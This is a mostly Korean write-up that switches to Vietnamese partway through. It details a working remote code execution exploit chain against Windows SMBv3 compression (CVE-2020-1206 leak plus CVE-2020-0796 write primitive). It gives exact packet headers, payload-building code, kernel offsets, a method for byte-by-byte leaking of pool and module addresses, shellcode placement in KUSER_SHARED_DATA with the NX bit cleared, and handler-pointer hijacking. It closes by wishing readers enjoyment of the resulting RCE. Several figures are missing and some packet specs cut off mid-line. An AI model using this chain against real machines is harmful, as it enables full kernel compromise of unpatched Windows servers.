이제 우리가 해야 할 일은 메모리를 한 위치에서 다른 위치로 복사하는 함수를 찾아, 임의의 메모리를 읽을 수 있는 pool 버퍼로 복사하는 것입니다. `memcpy`가 하나의 선택지이고 `srvnet.sys`에 그러한 함수(정확히는 `memmove`)가 있지만, 이 함수는 복사할 바이트 수를 지정하는 세 번째 인수가 필요하며 우리는 그 인수를 제어할 수 없습니다. 하지만 우리는 `srvnet.sys`에 구현된 함수로 제한되지 않습니다. srvnet의 import table에서 함수를 호출할 수도 있으며, `RtlCopyUnicodeString` 함수는 우리가 원하는 작업을 수행하기에 완벽한 선택입니다.
`RtlCopyUnicodeString` 함수는 두 개의 `UNICODE_STRING` 포인터를 인수로 받아 source string의 내용을 destination string으로 복사합니다. NULL로 끝나는 C string과 달리, 커널의 문자열은 문자열을 가리키는 포인터와 바이트 단위의 문자열 길이를 포함하는 `UNICODE_STRING` 구조체로 정의됩니다. String buffer에는 임의의 이진 데이터가 포함될 수 있습니다. `RtlCopyUnicodeString` 함수의 코드를 보면 복사가 `memmove` 함수로 수행되는데, 즉 순수한 이진 데이터를 복사한다는 것을 알 수 있습니다. 우리가 해야 할 일은 두 개의 `UNICODE_STRING` 구조체를 준비하고 `RtlCopyUnicodeString`을 호출한 다음 복사된 데이터를 읽는 것뿐입니다:

## Shellcode 실행
편리한 arbitrary read primitive를 확보한 후, 우리는 shellcode를 실행하여 Remote Code Execute라는 목표를 향한 다음 과제로 넘어갑니다. Morten Schenk가 [Black Hat USA 2017](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf) 발표에서 소개한 기법(47-51페이지)을 사용할 것입니다.
아이디어는 최근 Windows 버전의 커널 메모리 레이아웃에서 유일하게 무작위화되지 않은 고정 주소인 `KUSER_SHARED_DATA` 구조체 아래에 shellcode를 작성하는 것입니다. 그런 다음 관련 page table entry를 수정하여 해당 페이지를 실행 가능하게 만듭니다. 커널에서 page table entry의 기본 주소는 무작위이지만 `ntoskrnl.exe`의 `MiGetPteAddress` 함수에서 얻을 수 있습니다. 다음은 shellcode를 실행하기 위해 사용할 단계입니다:
1. arbitrary read primitive를 사용하여 srvnet의 import table에서 `ntoskrnl.exe`의 base address를 얻습니다.
2. Morten의 슬라이드에 설명된 대로 `MiGetPteAddress` 함수에서 page table entry의 base address를 읽습니다.
3. `KUSER_SHARED_DATA + 0x800` (`0xFFFFF78000000800`) 주소에 shellcode를 기록합니다. pool buffer 중 하나를 사용해 shellcode를 저장할 수도 있지만, `KUSER_SHARED_DATA`를 사용하면 모든 것이 더 단순해진다는 점에 유의하십시오.
4. Morten의 슬라이드에 설명된 대로 관련 page table entry의 주소를 계산하고 NX 비트를 지워 실행을 허용합니다.
5. 위에서 설명한 임의 함수 호출 기법을 사용하여 shellcode를 호출합니다.
Zecops가 reverse shell에 사용한 shellcode는 EternalBlue 익스플로잇을 위해 작성된 [sleepya’s shellcode](https://github.com/worawit/MS17-010/tree/master/shellcode)입니다. 그들은 최근 Windows 버전에서도 실행될 수 있도록 해당 shellcode를 수정했습니다.
# 디버그

SMB 패킷의 정보는 위와 거의 같은 구조를 가집니다. User Buffer의 주소를 leak해야 한다고 가정하면, `UserBufferPtr` 포인터를 읽어야 합니다. 이 포인터를 읽기 위해 [기법](https://github.com/datntsec/CVE-2020-1206#srvnetallocatebuffer-and-the-allocated-buffer-layout)을 활용하여 offset 필드를 포인터 너머에 위치시켜 다른 버퍼의 user buffer 영역으로 복사되도록 할 것입니다.
클라이언트가 전송하는 SMB 패킷의 예는 다음과 같은 내용을 가집니다:```c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0x0
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x2116
Data = ‘A’ * 0x1101.
이 패킷이 서버에 도착하면 SrvNetAllocateBuffer 함수가 만든 버퍼에 저장됩니다. 패킷 전체 크기가 0x1100부터 0x2100 사이이므로 이 함수는 사용자 버퍼 영역 크기가 0x2100인 alloc을 반환하고(이를 Alloc A라고 하겠습니다), 이후 아래 그림과 같이 클라이언트가 보낸 정보를 저장합니다:

주소 0xffffd38439044050부터 0xffffd38439045160까지는 클라이언트가 보낸 데이터이고, 0xffffd38439045160부터 0xffffd38439046150까지는 서버 측에서 초기화되지 않은 데이터이며, 0xffffd38439046150부터 0xffffd38439046240까지는 Alloc A의 SRVNET_BUFFER_HDR 데이터입니다. 따라서 읽고자 하는 포인터는 0xffffd38439046150 + 0x18 = 0xffffd38439046168에 위치합니다.
이 포인터를 읽기 위해 위에서 말한 기법을 사용하여 offset 필드를 읽고자 하는 포인터 너머로 설정했습니다. 그래서 위 패킷은 크기가 0x2100보다 작은데도 offset은 0x2116으로 설정되었습니다.
다음으로 SMB 서버는 SrvNetAllocateBuffer 함수를 호출하여 OriginalCompressedSegmentSize와 Offset(0x2116)의 합을 기준으로 메모리 영역을 할당합니다. 그 결과 사용자 버퍼 영역 크기가 0x4100인 alloc을 할당합니다(이를 Alloc B라고 하겠습니다). 할당된 데이터는 다음과 같은 형태입니다:

원치 않는 오류를 피하기 위해, 미리 Alloc B와 동일한 lookasite list를 가진 버퍼들을 여러 번 생성하고 0x0 바이트로 채워 두었습니다.
다음으로 SMB 서버는 압축된 데이터의 압축을 풀고 클라이언트가 보낸 압축되지 않은 데이터를 Alloc B의 사용자 버퍼 영역으로 복사합니다:

보시다시피 OriginalCompressedSegmentSize = 0이므로 압축된 데이터는 없습니다. 프로그램은 Alloc A의 0xffffd38439044060부터 0xffffd38439044060 + 0x2116 = 0xffffd38439046176까지의 데이터를 Alloc B의 사용자 버퍼 영역으로 복사합니다. 따라서 Alloc A의 SRVNET_BUFFER_HDR 정보 중 일부가 Alloc B의 사용자 버퍼 영역으로 복사되었습니다.
이제 앞서 말한 기법을 사용하여 allocation pool의 주소(사용자 버퍼의 주소)를 유출할 수 있습니다.
0xffffd3843636f15e 주소의 한 바이트가 0x7f보다 큰지 알고 싶다고 가정해 보겠습니다. 그러면 다음과 같은 정보로 SMB 패킷을 생성합니다:``` c Header:
왜 그러한 SMB를 만들어야 하는지, 하나씩 분석해 보겠습니다. 먼저 OriginalCompressedSegmentSize와 Offset의 합이 0x4100이므로, 이전에 사용했던 Alloc B와 같은 유사한 user buffer를 가진 alloc을 재사용하게 됩니다. 우리는 주소 0xffffd3843636f15e에 있는 1바이트가 0x7f보다 큰지 추측하려 하며, 이 주소는 user buffer 주소에서 0x210e만큼 떨어져 있으므로 비압축 데이터는 0x210e바이트('B' * 0x210e)가 됩니다. 그다음에는 유효한 압축 데이터 영역(compress() 함수로 압축된)이 오고, 그 뒤에는 유효하지 않은 압축 데이터('\xff' * 0x1fe9)가 이어집니다. 이렇게 하면 압축 해제를 진행할 때 유효한 압축 데이터만 다른 alloc 영역으로 압축 해제되고, 뒤따르는 유효하지 않은 압축 데이터 때문에 연결이 끊기며, 비압축 데이터 영역은 해당 alloc에 복사되지 않아 앞서 복사한 데이터가 그대로 유지됩니다.

위는 SMB server에 의해 생성된, 앞서 설명한 정보를 담고 있는 Alloc입니다. 다음으로 SMB Server는 SrvNetAllocateBuffer 함수를 호출하여 해당하는 Alloc을 생성합니다. OriginalCompressedSegmentSize와 Offset의 합이 0x4100이므로 Alloc B가 재사용됩니다:

그런 다음 SMB server는 클라이언트로부터 받은 정보를 Alloc B의 해당 offset에 해당하는 user buffer 영역으로 압축 해제합니다.

빨간색 데이터는 압축 해제된 데이터이고, 나머지 부분은 그대로 유지됩니다. 위 그림에서 볼 수 있듯이, 우리가 알아야 할 바이트는 그대로 유지되며, 바로 그 뒤에는 방금 압축 해제된 데이터가 있습니다.
이 바이트가 0x7f보다 큰지 확인하기 위해 다음과 같이 진행합니다:
다음 내용으로 SMB 패킷을 계속 생성합니다:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0x2004
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x20fd
Data = ‘B’ * 0x20f1
OriginalCompressedSegmentSize와 Offset의 합이 0x4100보다 크지만, 클라이언트로부터 전송된 패킷(총 크기 0x4100 미만)을 저장하기 위해 alloc 영역을 할당할 때 SMB 서버는 여전히 아래 그림과 같이 user buffer 영역이 0x4100바이트인 Alloc 하나만 할당합니다:

위에서 녹색으로 표시된 데이터는 이전에 할당된 Alloc B의 데이터이며, 동일한 lookaside list에 속하므로 재사용됩니다.
다음으로 SMB Server는 SrvNetAllocateBuffer 함수를 호출하여 압축 해제된 데이터를 담을 Alloc을 할당합니다:

압축 해제 과정에서 SMB 서버는 User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d에서 데이터를 가져옵니다. 추출된 데이터는 다음과 같은 형태입니다:

위에서 설명한 압축 해제 알고리즘에 따라, 먼저 처음 2바이트를 가져와 block의 length로 사용하고, 그 length를 기준으로 length 뒤의 다음 부분을 가져와 압축을 해제합니다.
위의 경우 length는 0xB0D3이지만, 알고리즘에 따르면 실제 length는 다음 공식에 따릅니다: length = length & 0xFFF + 1 → length는 0xD4가 됩니다. 그런 다음 다음 D4바이트를 가져와 정상적으로 압축 해제를 진행하다가 FF 바이트를 만나면(0xD4바이트에는 모든 00바이트와 일부 FF바이트가 포함되므로), 이 시점에서 압축 데이터는 유효하지 않은 것으로 간주되어 더 이상 압축 해제를 진행하지 않고 연결을 끊습니다.

서버의 연결 종료를 통해 우리가 알아야 할 바이트가 0x7f보다 크다는 것을 추측할 수 있습니다.
그렇다면 우리가 추측해야 할 바이트가 더 작은 경우는 어떨까요? 위의 분석을 계속하되, 이번에는 비교 바이트로 D7을 사용합니다. 즉 D3은 D7보다 작습니다. 어떤 일이 발생하는지 함께 살펴보겠습니다:
먼저 SMB 서버에 다음과 같은 패킷을 전송합니다:``` c Header:
SMB 서버는 다음과 같은 alloc 저장소를 생성합니다:

다음으로 SrvNetAllocateBuffer 함수를 호출하여 다음과 같이 alloc을 할당합니다:

물론 이 alloc은 동일한 lookaside list를 가진 alloc(Alloc B)에서 재사용됩니다. 그런 다음 프로그램은 유효한 압축 데이터로 정상적인 압축 해제를 진행하고, 유효하지 않은 압축 데이터는 연결을 끊습니다:

다음 단계에서는 이전과 유사한 데이터를 다시 전송하고 SMB 서버는 해당 alloc을 할당합니다:

위에서 녹색으로 표시된 데이터는 이전에 할당된 Alloc B의 데이터로, 동일한 lookaside list를 사용하므로 재사용됩니다.
다음으로 SMB 서버는 압축 해제 후 데이터를 포함하는 Alloc을 할당하기 위해 SrvNetAllocateBuffer 함수를 호출합니다:

압축 해제 과정에서 SMB 서버는 User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d에서 데이터를 가져옵니다. 가져온 데이터의 형태는 다음과 같습니다:

이전과 마찬가지로 초기 length는 0xB0D3이며, 계산을 거치면 0xD4가 됩니다. 그리고 다음 D4 바이트를 가져와 정상적으로 압축 해제를 진행합니다. 그러나 D4 < D7이므로 이때 압축 해제를 위해 가져온 압축 데이터는 전부 0 바이트로만 구성됩니다. 해당 블록이 끝날 때까지 정상적으로 압축 해제합니다. 다음으로 이전 블록의 길이를 통해 다음 블록의 길이를 가져옵니다. 다음 두 바이트는 D5와 D6이며 0x0이므로 현재 길이는 0x0이 되고, 따라서 가져온 length는 0x0000 → 압축 해제 과정 종료 → 압축 해제 성공 → SMB 서버가 response를 반환 → 우리는 알고자 하는 바이트가 0xD7보다 작거나 같다는 것을 알게 됩니다.
같은 방식으로 주소의 6바이트 전체를 leak할 때까지 반복합니다. 그러면 allocation pool address를 얻게 됩니다.
allocation pool address를 얻으면, allocation pool address를 leak할 때와 동일한 방식으로 SRVNET_RECV 구조체를 가리키는 포인터를 획득하여 srvnet base address를 찾습니다.
allocation pool과 SRVNET_RECV라는 두 주소의 값이 각각 `0xffffd38439044000`와 `0xffffd3843654ddd8`임을 확인한 후, srvnet base address를 leak합니다.


AcceptSocket 포인터를 읽으려면 다음과 같이 해야 합니다:
1. “User buffer” 영역이 0으로 채워지도록 lookaside list에서 Alloc A를 준비합니다. 이 버퍼는 이후 우리가 읽을 포인터를 담게 됩니다. 여기서 Alloc A는 우리가 leak한 allocation pool address에 해당하는 Alloc에서 가져옵니다. 따라서 Alloc A의 User buffer 영역은 동일한 lookaside list를 사용함으로써 0xffffd38439044050 주소에서 시작합니다.
2. 다른 lookaside list에서 Alloc B를 준비하여 다음을 수행합니다:
- pMdl1 포인터는 AcceptSocket 포인터의 주소에서 0x18을 뺀 주소를 가리킵니다, (MDL 구조체에서 MappedSystemVa의 offset이 0x18이기 때문).
- pMdl2 포인터는 Buffer A의 “User buffer” 영역을 가리킵니다.
- Flags 필드는 0x03으로 설정됩니다.
따라서 두 Mdl 포인터의 주소는 각각 mdl1_ptr: `0xffffd3843654de68`, mdl2_ptr: `0xffffd38439045250`입니다.
[Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) 섹션에 설명된 기법을 통해 더 큰 버퍼에서 압축 해제하여 SRVNET_BUFFER_HDR 구조체의 필드들을 덮어쓸 수 있습니다.
이 단계에 대해서는 4단계 바로 다음에 더 자세히 설명하겠습니다.
3. Buffer B가 해제되면 다음 작업이 수행됩니다:
- MDL flags는 buffer A의 두 번째 MDL에서 읽힙니다. MDL_PARTIAL_HAS_BEEN_MAPPED 플래그가 설정되면 MmUnmapLockedPages가 호출되고 시스템이 크래시할 가능성이 있습니다. 이것이 1단계에서 버퍼를 0으로 채워야 하는 이유입니다.
- Alloc A의 “User buffer” 영역이 수정되어 우리가 읽어야 할 정보를 담게 됩니다.
4. buffer A의 “User buffer” 영역에서 AcceptSocket 포인터를 읽습니다.
- 위에서 사용한 주소 leak 기법을 사용하여 AcceptSocket 포인터를 읽습니다.
이제 위 단계들에 대해 더 자세히 설명하겠습니다:
1단계는 매우 간단하고 위와 유사하므로 더 이상 언급하지 않겠습니다.
2단계에서는 먼저 SMB 서버에 다음과 같은 내용의 패킷을 생성하여 전송합니다:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = -0x38
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x10138
Data = ‘A’ * 0x10138 + compress(mdl1_ptr + ‘\x00’*0x10 + mdl2_ptr) + ‘\xff’*0x10
보시다시피 OriginalCompressedSegmentSize에는 음수 값이 포함되어 있고 OriginalCompressedSegmentSize + Offset의 합은 0x10100입니다. 그러나 클라이언트가 서버로 보내는 패킷 크기는 0x10100보다 큽니다. 따라서 서버가 압축 해제 전에 처음 생성하는 Alloc은 압축 해제 후 데이터를 포함하는 Alloc보다 큽니다. 여기서 OriginalCompressedSegmentSize 값은 음수로 설정되어 OriginalCompressedSegmentSize와 Offset의 합이 정확히 0x10100이 되도록 하며, 압축 데이터의 위치는 Offset에 의존하므로 영향을 주지 않습니다. 그리고 0x38은 SRVNET_BUFFER_HDR 구조에서 Mdl1 포인터의 오프셋입니다.
따라서 서버는 클라이언트의 데이터를 포함하는 Alloc을 다음과 같이 생성합니다:

다음으로 SrvNetAllocateBuffer 함수를 호출하여 User buffer 영역 크기가 0x10100인 alloc, 즉 위 단계에서 설명한 Alloc B를 할당합니다:

압축 해제를 수행합니다. 물론 유효한 데이터의 일부만 압축 해제됩니다:

위 그림들을 통해 Alloc B의 SRVNET_BUFFER_HDR에 있는 두 Mdl 포인터 영역이 우리가 원하는 값으로 수정되었음을 알 수 있습니다.
위와 유사하게, 이번에는 전송 패킷의 오프셋을 조정하여 flag를 3으로 설정합니다:``` c Header:
결국 다음과 같은 형태가 됩니다:

Alloc B가 해제되면 다음 코드 조각들이 실행됩니다:``` c
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
Như trên thì pMdl1->MappedSystemVa (offset 0x18) sẽ chứa giá trị của pMdl1->MappedSystemVa + 0x50 = 0xffffd3843654de68 + 0x18 + 0x50 = 0xffffd3843654ded0.
Trước khi free Alloc B thì SRVNET_RECV sẽ là:

Sau khi chạy 4 dòng đầu của đoạn code trên thì:

Trước khi free Alloc a sẽ:

Sau khi chạy hết đoạn code trên:

Và các byte mà ta cần đọc ở Alloc A sẽ là các byte màu xanh sau:

Như vậy ta chỉ cần sử dụng kĩ thuật leak từng byte ở trên là sẽ có được địa chỉ của AcceptSocket + 0x50. Như trong phần này thì sẽ là 0xffffd3843ea02418 → AcceptSocket: 0xffffd3843ea023c8
Tương tự ta sẽ làm để leak được địa chỉ AcceptSocket→ srvnet!SrvNetWskConnDispatch
Ta cần chuẩn bị mọi thứ như sau:

Sau khi Alloc B được giải phóng, mọi thứ sẽ thay đổi như sau:

Các byte mà chúng ta cần biết để có được địa chỉ của AcceptSocket-> srvnet!SrvNetWskConnDispatch + 50 sẽ nằm trong Alloc A, các byte đó là các byte được tô màu xanh ở hình bên dưới:

Như vậy AcceptSocket-> srvnet!SrvNetWskConnDispatch sẽ là 0xfffff80060e9d170, giả sử ta đã biết được offset của nó trong module srvnet.sys, ta sẽ tính được địa chỉ của srvnet base.
Như phần này thì srvnet base là: 0xFFFFF80060E70000 với offset của srvnet!SrvNetWskConnDispatch là 0x2d170.
Tiếp theo ta sẽ sử dụng kĩ thuật Write-what-where primitive ở CVE-2020-0796 để ghi tùy ý vào một vùng nhớ.
Đầu tiên ta sẽ tìm cách leak ntoskrnl base address, thông qua leak địa chỉ hàm IoSizeofWorkItem được srvnet import. Để làm được điều này, trước tiên ta sẽ tạo 2 cấu trúc UNICODESTRING như sau:``` c // Destination unicode string desLength = 6; desMaximumLength = 6; desBuffer = allocation_pool_object_ptr + 0x1650 + 0x20 + 2;
// Source unicode string srcLength = 6; srcMaximumLength = 6; srcBuffer = srvnet_base_ptr + OFFSETS['srvnet!imp_IoSizeofWorkItem'];
Với `allocation_pool_object_ptr` là địa chỉ allocation pool đã leak được và `OFFSETS['srvnet!imp_IoSizeofWorkItem']` là offset của hàm IoSizeofWorkItem được import bởi srvnet.
2 cấu trúc UNICODE_STRING này sẽ được lưu tại `allocation_pool_object_ptr + 0x1650` thông qua kĩ thuật Write-what-where đã tìm được ở CVE-2020-0796.
Đầu tiên ta sẽ lưu Destination unicode string vào `allocation_pool_object_ptr + 0x1650`, ta tiến hành tạo gói SMB như sau:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0xffffffff
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x22
Data:
sentinel = os.urandom(2) // 16 bits for verification
data = struct.pack('<HHIQ', desLength, desMaximumLength, 0, desBuffer) // dest unicode string
data += struct.pack('<HHIQ', srcLength, srcMaximumLength, 0, srcBuffer) // src unicode string
data += sentinel
data_to_compress = os.urandom(0x1100 - len(data))
// 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
// Target address.
data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650)
data = data + compress(data_to_compress)
위에서 data에는 os.urandom(2) 함수로 생성된 sentinel이 포함되어 있으며, 길이는 2바이트입니다. 이 2바이트는 누출(leak) 과정이 성공한 후 비교를 통해 우리가 누출한 주소가 실제로 누출하려는 주소가 맞는지 알 수 있게 해줍니다.
클라이언트에서 보낸 패킷의 총 크기가 0x1100보다 크면(이것은 압축 전에 무작위로 생성된 데이터에 따라 달라짐) 확실히 allocation_pool_object_ptr이 SMB 서버에서 이를 저장하는 데 사용됩니다:

다음으로 SMB 서버는 압축 해제를 위해 메모리 영역을 할당하기 위해 SrvNetAllocateBuffer 함수를 호출합니다. 그러나 OriginalCompressedSegmentSize와 Offset의 합이 0x21이므로 user buffer 크기가 0x1100인 영역만 할당합니다:

힙 오버플로우 오류가 발생하며(CVE-2020-0796에서 설명됨) SMB 서버가 압축 해제를 수행한 후(압축되지 않은 데이터의 복사가 발생하기 전에) 다음과 같이 됩니다:

따라서 UserBufferPtr 포인터는 allocation_pool_object_ptr + 0x1650의 시작 부분을 가리키게 되고, 복사 과정이 진행되면 allocation_pool_object_ptr은 다음과 같이 됩니다:

마찬가지로, 다음 패킷을 보내 아래에 sentinel을 하나 더 삽입합니다:``` c Header:
SMB 서버가 패킷을 수신하면 해당 메모리 영역을 할당합니다. 이때 할당된 메모리 영역은 `allocation_pool_object_ptr`이며 다음과 같은 데이터를 포함합니다:

압축 해제 과정을 거치면 데이터는 다음과 같습니다:

이로써 우리는 두 개의 unicode string과 두 개의 sentinel을 생성하여 누출된 데이터를 검증할 수 있게 되었습니다.
다음으로 `RtlCopyUnicodeString` 함수를 호출하고 위에서 만든 두 unicode string을 전달합니다.
`RtlCopyUnicodeString` 함수를 호출하려면 먼저 HandlerFunctions 포인터를 `RtlCopyUnicodeString` 함수의 주소로 덮어써야 합니다. 이 함수는 srvnet 모듈이 임포트하며 (제 모듈 기준) 오프셋은 0x32288입니다.
따라서 write-what-where 기법을 사용하여 0xFFFFF80060E70000 + 0x32288 - 0x8 주소를 HandlerFunctions에 기록합니다.
먼저 SRVNET_RECV 포인터(0xffffe00f0b593dd8)를 누출합니다.

연결을 유지하여 이후 패킷을 계속 전송할 수 있도록 합니다.
다음으로 write-what-where 기법을 사용하여 RtlCopyUnicodeString - 0x8 포인터를 기록합니다(-0x8을 하는 이유는 HandlerFunctions에서 Srv2ReceiveHandler 함수를 RtlCopyUnicodeString 함수로 교체하기 위함입니다).

그런 다음 위에서 생성한 두 unicode string의 포인터를 각각 HandlerFunction의 두 인자에 기록합니다.

이제 동일한 연결에서 Srv2ReceiveHandler 함수가 RtlCopyUnicodeString으로 교체되었으므로, 패킷을 보내면 RtlCopyUnicodeString 함수가 호출되어 Unicode String을 복사하게 됩니다.

다음으로 수행할 작업은 0xffffd38439045670부터 0xffffd3843904567a까지의 주소 10바이트를 누출하는 것입니다(누출할 주소 양쪽 끝의 2개 sentinel 포함). 그런 다음 누출된 주소의 앞과 끝 2바이트가 sentinel인지 확인합니다. sentinel이면 올바르게 누출된 것입니다(0xfffff8068152c380).
nt!IoSizeofWorkItem 주소(0xfffff8068152c380)를 누출한 후 해당 오프셋(0x12C380)을 빼서 ntoskrnl base address(0xfffff80681400000)를 구합니다.
참고로 각 Windows 버전마다 모듈 파일의 오프셋이 다르므로 대상 머신에 정확한 모듈 파일이 있는지 확인하십시오.
마찬가지로 ntoskrnl base address를 확보하면 MiGetPteAddress(0xBA968)를 얻을 수 있고, PTE base address(MiGetPteAddress + 0x13)도 얻을 수 있습니다:

다음 단계로 write-what-where 기법을 사용하여 shellcode를 0xFFFFF78000000800에 기록합니다. 그런 다음 아래 공식을 통해 pte 내 shellcode 주소를 다시 계산하고 NX 비트를 클리어하여 해당 shellcode가 실행될 수 있도록 합니다.``` c
shellcode_addr >>= 9
shellcode_addr &= 0x7FFFFFFFF8
shellcode_addr += pte_base
마지막으로, allocation_pool_object_ptr + 0x50 + 0x1600에 shellcode 주소를 기록한 다음, 해당 주소를 HandlerFunctions로 교체하고 nt_base_ptr 주소를 shellcode에 전달하여 shellcode를 호출합니다.
RCE를 즐기세요 :))
DatntSec. Viettel Cyber Security.
| → 할당 크기 ↓논리 프로세서 | 0x1100 | 0x2100 | 0x4100 | 0x8100 | 0x10100 | 0x20100 | 0x40100 | 0x80100 | 0x100100 |
|---|
| 프로세서 1 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |
| 프로세서 2 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |
| ... | |||||||||
| 프로세서 n | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |